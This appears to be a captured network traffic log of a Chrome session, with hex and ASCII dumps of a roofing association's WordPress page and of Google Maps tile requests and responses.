2024-04-23 14:54:19 UTC	7577	IN	Data Raw: 34 37 62 32 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 20 20 20 20 3c 21 2d 2d 20 47 54 4d 20 53 6e 69 70 70 65 74 20 66 6f 72 20 46 65 61 74 68 72 29 20 2d 2d 3e 0d 0a 3c 73 63 72 69 70 74 3e 28 66 75 6e 63 74 69 6f 6e 28 77 2c 64 2c 73 2c 6c 2c 69 29 7b 77 5b 6c 5d 3d 77 5b 6c 5d 7c 7c 5b 5d 3b 77 5b 6c 5d 2e 70 75 73 68 28 7b 27 67 74 6d 2e 73 74 61 72 74 27 3a 0d 0a 6e 65 77 20 44 61 74 65 28 29 2e 67 65 74 54 69 6d 65 28 29 2c 65 76 65 6e 74 3a 27 67 74 6d 2e 6a 73 27 7d 29 3b 76 61 72 20 66 3d 64 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 54 61 67 4e 61 6d 65 28 73 29 5b 30 5d 2c 0d 0a 6a 3d 64 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 73 29 2c 64 6c 3d 6c Data Ascii: 47b2<!DOCTYPE html><html lang="en"><head> ... GTM Snippet for Feathr) --><script>(function(w,d,s,l,i){w[l]=w[l]\|\|[];w[l].push({'gtm.start':new Date().getTime(),event:'gtm.js'});var f=d.getElementsByTagName(s)[0],j=d.createElement(s),dl=l
2024-04-23 14:54:19 UTC	8192	IN	Data Raw: 63 73 73 27 20 6d 65 64 69 61 3d 27 61 6c 6c 27 20 2f 3e 0a 3c 73 74 79 6c 65 20 69 64 3d 27 77 70 2d 62 6c 6f 63 6b 2d 6c 69 62 72 61 72 79 2d 74 68 65 6d 65 2d 69 6e 6c 69 6e 65 2d 63 73 73 27 20 74 79 70 65 3d 27 74 65 78 74 2f 63 73 73 27 3e 0a 2e 77 70 2d 62 6c 6f 63 6b 2d 61 75 64 69 6f 20 66 69 67 63 61 70 74 69 6f 6e 7b 63 6f 6c 6f 72 3a 23 35 35 35 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 33 70 78 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 63 65 6e 74 65 72 7d 2e 69 73 2d 64 61 72 6b 2d 74 68 65 6d 65 20 2e 77 70 2d 62 6c 6f 63 6b 2d 61 75 64 69 6f 20 66 69 67 63 61 70 74 69 6f 6e 7b 63 6f 6c 6f 72 3a 68 73 6c 61 28 30 2c 30 25 2c 31 30 30 25 2c 2e 36 35 29 7d 2e 77 70 2d 62 6c 6f 63 6b 2d 63 6f 64 65 7b 62 6f 72 64 65 72 3a 31 70 78 20 73 6f 6c 69 64 20 23 Data Ascii: css' media='all' /><style id='wp-block-library-theme-inline-css' type='text/css'>.wp-block-audio figcaption{color:#555;font-size:13px;text-align:center}.is-dark-theme .wp-block-audio figcaption{color:hsla(0,0%,100%,.65)}.wp-block-code{border:1px solid #
2024-04-23 14:54:19 UTC	8192	IN	Data Raw: 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 76 61 72 28 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 63 6f 6c 6f 72 2d 2d 76 69 76 69 64 2d 63 79 61 6e 2d 62 6c 75 65 29 20 21 69 6d 70 6f 72 74 61 6e 74 3b 7d 2e 68 61 73 2d 76 69 76 69 64 2d 70 75 72 70 6c 65 2d 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 76 61 72 28 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 63 6f 6c 6f 72 2d 2d 76 69 76 69 64 2d 70 75 72 70 6c 65 29 20 21 69 6d 70 6f 72 74 61 6e 74 3b 7d 2e 68 61 73 2d 62 6c 61 63 6b 2d 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 7b 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 3a 20 76 61 72 28 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 63 6f 6c 6f 72 2d 2d 62 6c 61 63 6b 29 20 21 69 6d 70 6f 72 74 61 6e Data Ascii: background-color: var(--wp--preset--color--vivid-cyan-blue) !important;}.has-vivid-purple-background-color{background-color: var(--wp--preset--color--vivid-purple) !important;}.has-black-border-color{border-color: var(--wp--preset--color--black) !importan
2024-04-23 14:54:19 UTC	8192	IN	Data Raw: 35 33 39 38 33 32 38 27 20 74 79 70 65 3d 27 74 65 78 74 2f 63 73 73 27 20 6d 65 64 69 61 3d 27 73 63 72 65 65 6e 27 20 2f 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 65 20 49 45 20 39 5d 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 27 73 74 79 6c 65 73 68 65 65 74 27 20 69 64 3d 27 75 2d 64 65 73 69 67 6e 2d 69 65 39 2d 63 73 73 27 20 20 68 72 65 66 3d 27 68 74 74 70 73 3a 2f 2f 77 77 77 2e 61 73 70 68 61 6c 74 72 6f 6f 66 69 6e 67 2e 6f 72 67 2f 77 70 2d 63 6f 6e 74 65 6e 74 2f 74 68 65 6d 65 73 2f 75 2d 64 65 73 69 67 6e 2f 61 73 73 65 74 73 2f 63 73 73 2f 66 72 6f 6e 74 65 6e 64 2f 6c 61 79 6f 75 74 2f 69 65 2d 61 6c 6c 2e 63 73 73 3f 76 65 72 3d 33 2e 33 2e 38 27 20 74 79 70 65 3d 27 74 65 78 74 2f 63 73 73 27 20 6d 65 64 69 61 3d 27 73 63 72 65 65 6e 27 20 2f 3e 0a Data Ascii: 5398328' type='text/css' media='screen' />...[if lte IE 9]><link rel='stylesheet' id='u-design-ie9-css' href='https://www.asphaltroofing.org/wp-content/themes/u-design/assets/css/frontend/layout/ie-all.css?ver=3.3.8' type='text/css' media='screen' />
2024-04-23 14:54:19 UTC	8192	IN	Data Raw: 65 2e 67 77 29 20 3f 20 65 2e 67 77 20 3a 20 5b 65 2e 67 77 5d 3b 0d 0a 09 09 09 09 09 66 6f 72 20 28 76 61 72 20 69 20 69 6e 20 65 2e 72 6c 29 20 69 66 20 28 65 2e 67 77 5b 69 5d 3d 3d 3d 75 6e 64 65 66 69 6e 65 64 20 7c 7c 20 65 2e 67 77 5b 69 5d 3d 3d 3d 30 29 20 65 2e 67 77 5b 69 5d 20 3d 20 65 2e 67 77 5b 69 2d 31 5d 3b 09 09 09 09 09 0d 0a 09 09 09 09 09 65 2e 67 68 20 3d 20 65 2e 65 6c 3d 3d 3d 75 6e 64 65 66 69 6e 65 64 20 7c 7c 20 65 2e 65 6c 3d 3d 3d 22 22 20 7c 7c 20 28 41 72 72 61 79 2e 69 73 41 72 72 61 79 28 65 2e 65 6c 29 20 26 26 20 65 2e 65 6c 2e 6c 65 6e 67 74 68 3d 3d 30 29 3f 20 65 2e 67 68 20 3a 20 65 2e 65 6c 3b 0d 0a 09 09 09 09 09 65 2e 67 68 20 3d 20 41 72 72 61 79 2e 69 73 41 72 72 61 79 28 65 2e 67 68 29 20 3f 20 65 2e 67 68 20 Data Ascii: e.gw) ? e.gw : [e.gw];for (var i in e.rl) if (e.gw[i]===undefined \|\| e.gw[i]===0) e.gw[i] = e.gw[i-1];e.gh = e.el===undefined \|\| e.el==="" \|\| (Array.isArray(e.el) && e.el.length==0)? e.gh : e.el;e.gh = Array.isArray(e.gh) ? e.gh
2024-04-23 14:54:19 UTC	8192	IN	Data Raw: 3d 22 74 61 62 6c 65 22 20 74 61 62 6c 65 56 61 6c 75 65 73 3d 22 31 20 31 22 20 2f 3e 3c 2f 66 65 43 6f 6d 70 6f 6e 65 6e 74 54 72 61 6e 73 66 65 72 3e 3c 66 65 43 6f 6d 70 6f 73 69 74 65 20 69 6e 32 3d 22 53 6f 75 72 63 65 47 72 61 70 68 69 63 22 20 6f 70 65 72 61 74 6f 72 3d 22 69 6e 22 20 2f 3e 3c 2f 66 69 6c 74 65 72 3e 3c 2f 64 65 66 73 3e 3c 2f 73 76 67 3e 3c 73 76 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 30 20 30 22 20 77 69 64 74 68 3d 22 30 22 20 68 65 69 67 68 74 3d 22 30 22 20 66 6f 63 75 73 61 62 6c 65 3d 22 66 61 6c 73 65 22 20 72 6f 6c 65 3d 22 6e 6f 6e 65 22 20 73 74 79 6c 65 3d 22 76 69 73 69 62 69 6c 69 74 79 3a 20 68 69 64 64 65 Data Ascii: ="table" tableValues="1 1" /></feComponentTransfer><feComposite in2="SourceGraphic" operator="in" /></filter></defs></svg><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 0 0" width="0" height="0" focusable="false" role="none" style="visibility: hidde
2024-04-23 14:54:19 UTC	8192	IN	Data Raw: 33 22 20 63 6c 61 73 73 3d 22 6d 65 6e 75 2d 69 74 65 6d 20 6d 65 6e 75 2d 69 74 65 6d 2d 74 79 70 65 2d 70 6f 73 74 5f 74 79 70 65 20 6d 65 6e 75 2d 69 74 65 6d 2d 6f 62 6a 65 63 74 2d 70 61 67 65 20 6d 65 6e 75 2d 69 74 65 6d 2d 33 34 33 22 3e 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 61 73 70 68 61 6c 74 72 6f 6f 66 69 6e 67 2e 6f 72 67 2f 72 65 73 6f 75 72 63 65 73 2f 61 73 6b 2d 74 68 65 2d 65 78 70 65 72 74 2f 22 3e 3c 73 70 61 6e 3e 41 73 6b 20 54 68 65 20 45 78 70 65 72 74 3c 2f 73 70 61 6e 3e 3c 2f 61 3e 3c 2f 6c 69 3e 0a 09 3c 6c 69 20 69 64 3d 22 6d 65 6e 75 2d 69 74 65 6d 2d 33 35 33 35 22 20 63 6c 61 73 73 3d 22 6d 65 6e 75 2d 69 74 65 6d 20 6d 65 6e 75 2d 69 74 65 6d 2d 74 79 70 65 2d 70 6f 73 74 5f 74 79 70 65 20 6d 65 Data Ascii: 3" class="menu-item menu-item-type-post_type menu-item-object-page menu-item-343"><a href="https://www.asphaltroofing.org/resources/ask-the-expert/"><span>Ask The Expert</span></a></li><li id="menu-item-3535" class="menu-item menu-item-type-post_type me
2024-04-23 14:54:19 UTC	8192	IN	Data Raw: 3c 64 69 76 20 64 61 74 61 2d 76 63 2d 66 75 6c 6c 2d 77 69 64 74 68 3d 22 74 72 75 65 22 20 64 61 74 61 2d 76 63 2d 66 75 6c 6c 2d 77 69 64 74 68 2d 69 6e 69 74 3d 22 66 61 6c 73 65 22 20 63 6c 61 73 73 3d 22 76 63 5f 72 6f 77 20 77 70 62 5f 72 6f 77 20 76 63 5f 72 6f 77 2d 66 6c 75 69 64 20 76 63 5f 63 75 73 74 6f 6d 5f 31 34 39 32 36 32 35 37 36 32 33 31 34 20 76 63 5f 72 6f 77 2d 68 61 73 2d 66 69 6c 6c 20 76 63 5f 72 6f 77 2d 6f 2d 63 6f 6e 74 65 6e 74 2d 6d 69 64 64 6c 65 20 76 63 5f 72 6f 77 2d 66 6c 65 78 22 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 6c 69 67 68 74 20 77 70 62 5f 63 6f 6c 75 6d 6e 20 76 63 5f 63 6f 6c 75 6d 6e 5f 63 6f 6e 74 61 69 6e 65 72 20 76 63 5f 63 6f 6c 2d 73 6d 2d 38 22 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 76 63 5f 63 6f 6c Data Ascii: <div data-vc-full-width="true" data-vc-full-width-init="false" class="vc_row wpb_row vc_row-fluid vc_custom_1492625762314 vc_row-has-fill vc_row-o-content-middle vc_row-flex"><div class="light wpb_column vc_column_container vc_col-sm-8"><div class="vc_col
2024-04-23 14:54:19 UTC	8192	IN	Data Raw: 70 2d 6e 65 78 74 2d 61 72 72 6f 77 3a 3a 61 66 74 65 72 2c 20 2e 73 70 2d 6e 65 78 74 2d 61 72 72 6f 77 3a 3a 62 65 66 6f 72 65 20 7b 0d 0a 09 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 46 46 46 46 46 46 20 21 69 6d 70 6f 72 74 61 6e 74 3b 0d 0a 7d 0d 0a 2e 73 70 2d 70 72 65 76 69 6f 75 73 2d 61 72 72 6f 77 3a 3a 61 66 74 65 72 2c 20 2e 73 70 2d 70 72 65 76 69 6f 75 73 2d 61 72 72 6f 77 3a 3a 62 65 66 6f 72 65 20 7b 0d 0a 09 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 46 46 46 46 46 46 20 21 69 6d 70 6f 72 74 61 6e 74 3b 0d 0a 7d 0d 0a 0d 0a 23 73 6c 69 64 65 72 2d 70 72 6f 2d 33 2d 31 33 33 32 20 2e 74 69 74 6c 65 2d 69 6e 20 7b 0d 0a 09 63 6f 6c 6f 72 3a 20 23 46 46 46 46 46 46 20 21 69 6d 70 6f 72 74 61 6e 74 3b 0d 0a 09 66 Data Ascii: p-next-arrow::after, .sp-next-arrow::before {background-color: #FFFFFF !important;}.sp-previous-arrow::after, .sp-previous-arrow::before {background-color: #FFFFFF !important;}#slider-pro-3-1332 .title-in {color: #FFFFFF !important;f
2024-04-23 14:54:19 UTC	8192	IN	Data Raw: 64 69 76 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 76 63 5f 72 6f 77 2d 66 75 6c 6c 2d 77 69 64 74 68 20 76 63 5f 63 6c 65 61 72 66 69 78 22 3e 3c 2f 64 69 76 3e 3c 64 69 76 20 64 61 74 61 2d 76 63 2d 66 75 6c 6c 2d 77 69 64 74 68 3d 22 74 72 75 65 22 20 64 61 74 61 2d 76 63 2d 66 75 6c 6c 2d 77 69 64 74 68 2d 69 6e 69 74 3d 22 66 61 6c 73 65 22 20 63 6c 61 73 73 3d 22 76 63 5f 72 6f 77 20 77 70 62 5f 72 6f 77 20 76 63 5f 72 6f 77 2d 66 6c 75 69 64 20 76 63 5f 63 75 73 74 6f 6d 5f 31 34 39 32 36 32 31 36 33 30 31 32 37 20 76 63 5f 72 6f 77 2d 68 61 73 2d 66 69 6c 6c 20 76 63 5f 72 6f 77 2d 6f 2d 63 6f 6e 74 65 6e 74 2d 6d 69 64 64 6c 65 20 76 63 5f 72 6f 77 2d 66 6c 65 78 22 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 77 70 62 5f 63 6f 6c 75 6d 6e 20 76 63 5f 63 Data Ascii: div><div class="vc_row-full-width vc_clearfix"></div><div data-vc-full-width="true" data-vc-full-width-init="false" class="vc_row wpb_row vc_row-fluid vc_custom_1492621630127 vc_row-has-fill vc_row-o-content-middle vc_row-flex"><div class="wpb_column vc_c

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
249	192.168.2.6	50046	74.125.136.99	443	4180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 14:54:20 UTC	1465	OUT	GET /maps/vt?pb=!1m4!1m3!1i16!2i18860!3i24908!1m4!1m3!1i16!2i18860!3i24909!1m4!1m3!1i16!2i18861!3i24908!1m4!1m3!1i16!2i18861!3i24909!1m4!1m3!1i16!2i18862!3i24908!1m4!1m3!1i16!2i18862!3i24909!1m4!1m3!1i16!2i18863!3i24908!1m4!1m3!1i16!2i18863!3i24909!2m3!1e0!2sm!3i690435105!2m3!1e2!2sspotlit!5i1!3m12!2sen!3sUS!5e289!12m4!1e68!2m2!1sset!2sRoadmap!12m3!1e37!2m1!1ssmartmaps!4e3!12m1!5b1!27m16!299174093m15!14m14!1m9!1m2!1y9928148864880106101!2y4679642052884874500!2s%2Fg%2F11c5n1lpq7!4m2!1x395847673!2x3531091971!8b1!15sgcid%3Ageocoded_address!2b0!3b0!6b0!8b0&client=google-maps-embed&token=3264 HTTP/1.1 Host: www.google.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIk6HLAQj6mM0BCIWgzQEIucrNARjrjaUX Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://www.google.com/maps/embed?pb=!1m18!1m12!1m3!1d3074.9087051686033!2d-76.38923968536142!3d39.58420787947054!2m3!1f0!2f0!3f0!3m2!1i1024!2i768!4f13.1!3m3!1m2!1s0x89c7deca80605a75%3A0x40f16da73e2ec504!2s2331%20Rock%20Spring%20Rd%2C%20Forest%20Hill%2C%20MD%2021050!5e0!3m2!1sen!2sus!4v1609858550960!5m2!1sen!2sus Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-23 14:54:20 UTC	629	IN	HTTP/1.1 200 OK Content-Type: application/json Date: Tue, 23 Apr 2024 14:54:20 GMT Expires: Tue, 23 Apr 2024 14:54:20 GMT Cache-Control: private, max-age=900 Cross-Origin-Resource-Policy: cross-origin Content-Security-Policy: script-src 'none'; object-src 'none'; base-uri 'none' X-Content-Type-Options: nosniff x-server-version-bin: CgoIBBCxq5ixBhgB Server: scaffolding on HTTPServer2 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Server-Timing: gfet4t7; dur=143 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-04-23 14:54:20 UTC	626	IN	Data Raw: 66 30 30 0d 0a 5b 7b 22 69 64 22 3a 22 74 77 75 74 76 74 74 77 76 75 76 74 77 77 74 74 22 2c 22 7a 72 61 6e 67 65 22 3a 5b 31 36 2c 31 36 5d 2c 22 6c 61 79 65 72 22 3a 22 73 70 6f 74 6c 69 74 22 7d 2c 7b 22 69 64 22 3a 22 74 77 75 74 76 74 74 77 76 75 76 74 77 77 74 74 22 2c 22 62 61 73 65 22 3a 5b 36 31 38 30 34 38 36 34 30 2c 38 31 36 32 31 35 30 34 30 5d 2c 22 7a 72 61 6e 67 65 22 3a 5b 31 36 2c 31 36 5d 2c 22 6c 61 79 65 72 22 3a 22 6d 40 36 39 30 34 33 35 31 30 35 22 2c 22 66 65 61 74 75 72 65 73 22 3a 5b 7b 22 69 64 22 3a 22 33 33 35 39 30 37 38 33 31 39 36 33 31 39 36 38 35 30 33 22 2c 22 61 22 3a 5b 30 2c 30 5d 2c 22 62 62 22 3a 5b 2d 31 33 31 2c 2d 32 39 2c 2d 31 30 2c 2d 31 31 2c 2d 39 36 2c 2d 31 35 2c 2d 31 30 2c 33 5d 2c 22 63 22 3a 22 7b 5c Data Ascii: f00[{"id":"twutvttwvuvtwwtt","zrange":[16,16],"layer":"spotlit"},{"id":"twutvttwvuvtwwtt","base":[618048640,816215040],"zrange":[16,16],"layer":"m@690435105","features":[{"id":"3359078319631968503","a":[0,0],"bb":[-131,-29,-10,-11,-96,-15,-10,3],"c":"{\
2024-04-23 14:54:20 UTC	1255	IN	Data Raw: 30 2c 33 5d 2c 22 63 22 3a 22 7b 5c 22 31 5c 22 3a 7b 5c 22 74 69 74 6c 65 5c 22 3a 5c 22 46 61 69 74 68 20 47 61 74 65 77 61 79 20 43 6f 6d 6d 75 6e 69 74 79 5c 22 7d 7d 22 2c 22 69 6f 22 3a 5b 30 2c 2d 31 33 5d 7d 5d 7d 2c 7b 22 69 64 22 3a 22 74 77 75 74 76 74 74 77 76 75 76 74 77 77 74 76 22 2c 22 7a 72 61 6e 67 65 22 3a 5b 31 36 2c 31 36 5d 2c 22 6c 61 79 65 72 22 3a 22 73 70 6f 74 6c 69 74 22 7d 2c 7b 22 69 64 22 3a 22 74 77 75 74 76 74 74 77 76 75 76 74 77 77 74 76 22 2c 22 62 61 73 65 22 3a 5b 36 31 38 30 38 31 39 32 30 2c 38 31 36 32 30 34 32 38 38 5d 2c 22 7a 72 61 6e 67 65 22 3a 5b 31 36 2c 31 36 5d 2c 22 6c 61 79 65 72 22 3a 22 6d 40 36 39 30 34 33 35 31 30 35 22 2c 22 66 65 61 74 75 72 65 73 22 3a 5b 7b 22 69 64 22 3a 22 35 30 30 36 37 37 35 Data Ascii: 0,3],"c":"{\"1\":{\"title\":\"Faith Gateway Community\"}}","io":[0,-13]}]},{"id":"twutvttwvuvtwwtv","zrange":[16,16],"layer":"spotlit"},{"id":"twutvttwvuvtwwtv","base":[618081920,816204288],"zrange":[16,16],"layer":"m@690435105","features":[{"id":"5006775
2024-04-23 14:54:20 UTC	1255	IN	Data Raw: 38 38 2c 36 31 38 30 38 31 39 32 30 2c 38 31 36 32 30 34 32 38 38 5d 2c 22 62 62 22 3a 5b 2d 31 31 2c 2d 32 39 2c 31 31 2c 32 2c 2d 31 31 2c 2d 32 39 2c 31 31 2c 32 2c 2d 31 31 2c 2d 32 39 2c 31 31 2c 32 2c 2d 37 38 2c 2d 32 39 2c 2d 31 30 2c 2d 31 31 2c 2d 31 33 30 2c 2d 31 35 2c 2d 39 2c 33 5d 2c 22 63 22 3a 22 7b 5c 22 31 5c 22 3a 7b 5c 22 74 69 74 6c 65 5c 22 3a 5c 22 46 6f 72 65 73 74 20 48 69 6c 6c 20 45 6c 65 6d 65 6e 74 61 72 79 20 53 63 68 6f 6f 6c 5c 22 7d 7d 22 2c 22 69 6f 22 3a 5b 30 2c 2d 31 33 5d 7d 5d 7d 2c 7b 22 69 64 22 3a 22 74 77 75 74 76 74 74 77 76 75 76 74 77 77 76 75 22 2c 22 7a 72 61 6e 67 65 22 3a 5b 31 36 2c 31 36 5d 2c 22 6c 61 79 65 72 22 3a 22 73 70 6f 74 6c 69 74 22 7d 2c 7b 22 69 64 22 3a 22 74 77 75 74 76 74 74 77 76 75 76 Data Ascii: 88,618081920,816204288],"bb":[-11,-29,11,2,-11,-29,11,2,-11,-29,11,2,-78,-29,-10,-11,-130,-15,-9,3],"c":"{\"1\":{\"title\":\"Forest Hill Elementary School\"}}","io":[0,-13]}]},{"id":"twutvttwvuvtwwvu","zrange":[16,16],"layer":"spotlit"},{"id":"twutvttwvuv
2024-04-23 14:54:20 UTC	711	IN	Data Raw: 2c 38 31 36 32 33 34 31 31 32 2c 36 31 38 31 32 31 33 34 34 2c 38 31 36 32 33 34 31 31 32 5d 2c 22 62 62 22 3a 5b 2d 31 31 2c 2d 32 39 2c 31 31 2c 32 2c 2d 31 31 2c 2d 32 39 2c 31 31 2c 32 2c 2d 31 31 2c 2d 32 39 2c 31 31 2c 32 2c 2d 38 34 2c 2d 32 39 2c 2d 31 30 2c 2d 31 31 2c 2d 31 32 32 2c 2d 31 35 2c 2d 31 30 2c 33 5d 2c 22 63 22 3a 22 7b 5c 22 31 5c 22 3a 7b 5c 22 74 69 74 6c 65 5c 22 3a 5c 22 54 68 65 20 53 6f 63 63 65 72 20 46 61 63 74 6f 72 79 20 4d 61 72 79 6c 61 6e 64 5c 22 7d 7d 22 2c 22 69 6f 22 3a 5b 30 2c 2d 31 33 5d 7d 2c 7b 22 69 64 22 3a 22 39 36 36 37 39 36 34 39 38 33 31 35 32 39 37 39 35 39 22 2c 22 61 22 3a 5b 2d 31 31 35 32 2c 36 37 38 34 2c 36 31 38 31 32 30 31 39 32 2c 38 31 36 32 34 30 38 39 36 2c 36 31 38 31 32 30 31 39 32 2c 38 Data Ascii: ,816234112,618121344,816234112],"bb":[-11,-29,11,2,-11,-29,11,2,-11,-29,11,2,-84,-29,-10,-11,-122,-15,-10,3],"c":"{\"1\":{\"title\":\"The Soccer Factory Maryland\"}}","io":[0,-13]},{"id":"966796498315297959","a":[-1152,6784,618120192,816240896,618120192,8
2024-04-23 14:54:20 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
250	192.168.2.6	50047	74.125.136.99	443	4180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 14:54:20 UTC	1324	OUT	GET /maps/vt?pb=!1m5!1m4!1i16!2i18862!3i24909!4i256!2m3!1e0!2sm!3i690434793!2m3!1e2!2sspotlit!5i1!3m12!2sen!3sUS!5e289!12m4!1e68!2m2!1sset!2sRoadmap!12m3!1e37!2m1!1ssmartmaps!4e0!27m16!299174093m15!14m14!1m9!1m2!1y9928148864880106101!2y4679642052884874500!2s%2Fg%2F11c5n1lpq7!4m2!1x395847673!2x3531091971!8b1!15sgcid%3Ageocoded_address!2b0!3b0!6b0!8b0&client=google-maps-embed&token=55343 HTTP/1.1 Host: www.google.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIk6HLAQj6mM0BCIWgzQEIucrNARjrjaUX Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.google.com/maps/embed?pb=!1m18!1m12!1m3!1d3074.9087051686033!2d-76.38923968536142!3d39.58420787947054!2m3!1f0!2f0!3f0!3m2!1i1024!2i768!4f13.1!3m3!1m2!1s0x89c7deca80605a75%3A0x40f16da73e2ec504!2s2331%20Rock%20Spring%20Rd%2C%20Forest%20Hill%2C%20MD%2021050!5e0!3m2!1sen!2sus!4v1609858550960!5m2!1sen!2sus Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-23 14:54:20 UTC	628	IN	HTTP/1.1 200 OK Content-Type: image/png Date: Tue, 23 Apr 2024 14:54:20 GMT Expires: Tue, 23 Apr 2024 15:09:20 GMT Cache-Control: public, max-age=900 Access-Control-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin ETag: 0cb13afd684819bfc Content-Security-Policy: script-src 'none'; object-src 'none'; base-uri 'none' X-Content-Type-Options: nosniff x-server-version-bin: CgoIBBCxq5ixBhgB Server: scaffolding on HTTPServer2 Content-Length: 7468 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Server-Timing: gfet4t7; dur=141 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-04-23 14:54:20 UTC	627	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 01 00 00 00 01 00 08 03 00 00 00 6b ac 58 54 00 00 00 09 70 48 59 73 00 00 00 1c 00 00 00 1c 00 0f 01 b9 8f 00 00 00 72 50 4c 54 45 f1 f3 f4 fb fc fc f9 f9 fa f4 f6 f6 e6 e8 ea ed ee f0 e4 e5 e6 ff ff ff f6 f7 f8 e0 e2 e5 b8 ba bd da dc e0 86 89 8c 70 75 7a dd df e2 ec ec ec 94 98 9c a7 a9 ab d3 d4 d5 ce ea d6 c8 ca cb 7b 7e 81 8a be 9a 51 9f 69 c3 d9 f7 c3 dd cb 27 88 45 4e 52 56 6e af 82 5a 5d 61 9c c0 f9 35 90 51 a7 ce b3 18 80 38 d7 ed de 1a 73 e8 54 91 f5 34 a8 53 67 b8 fb 7d 00 00 1c 60 49 44 41 54 78 da ed fd 89 96 aa 3c b3 05 00 64 60 66 c6 d9 b1 87 f3 bf ff 2b de 5d 09 6a 40 40 50 e8 d6 fe 6e ad 75 8e b6 06 24 3b 35 a5 52 a9 30 4d 96 e7 1a e4 b0 5f a1 d4 f2 1d 5b 72 b7 93 b8 4c 7d df b2 cf d7 Data Ascii: PNGIHDRkXTpHYsrPLTEpuz{~Qi'ENRVnZ]a5Q8sT4Sg}`IDATx<d`f+]j@@Pnu$;5R0M_[rL}
2024-04-23 14:54:20 UTC	1255	IN	Data Raw: 19 01 50 92 e0 85 c3 ab 57 ff 15 00 ae a6 9e 18 c1 b4 8f 87 c3 61 17 59 e5 1f 72 97 f3 9a ab f8 e7 00 60 8a 11 9c 33 23 58 bb c0 2d b2 b3 b5 9f ef 12 ed 26 5d da fe 11 00 be f6 ab ed 76 bb 5a 6e 2e 9f 2a 46 c0 37 c1 ce 32 7a 98 1d f4 eb 55 0e fe 04 00 f6 7e 7b fa 1f d1 69 bb ff ba 7e 01 46 48 79 b4 cb ae 3a c0 3d 64 6e a0 24 e2 d2 a8 e2 0b bf 25 00 b6 33 3b e9 ee 2b 08 4e 9b ca b7 dc 0e c8 08 12 2b 44 30 06 50 88 f3 40 46 8b 3f 05 c0 e6 da 7d 05 c1 cc fc d6 83 e1 e3 61 51 ca 42 b6 93 56 16 01 92 bf 04 40 7a ee b9 7b 7e 53 eb 85 07 57 58 fa 82 c5 87 18 ac b0 88 8b 1c 2f e7 2f ed ca d2 c8 5b 02 b0 dc ea 6e 2f dd a5 7e b3 5d 36 b6 e3 a2 c8 0b a5 05 20 08 16 0b 35 39 ce db 03 50 0e fb 1e e1 ff 7d 29 04 8d ed 24 09 83 e4 c1 2e 3e ec 64 50 59 12 7b 6b 00 66 25 Data Ascii: PWaYr`3#X-&]vZn.*F72zU~{i~FHy:=dn$%3;+N+D0P@F?}aQBV@z{~SWX//[n/~]6 59P})$.>dPY{kf%
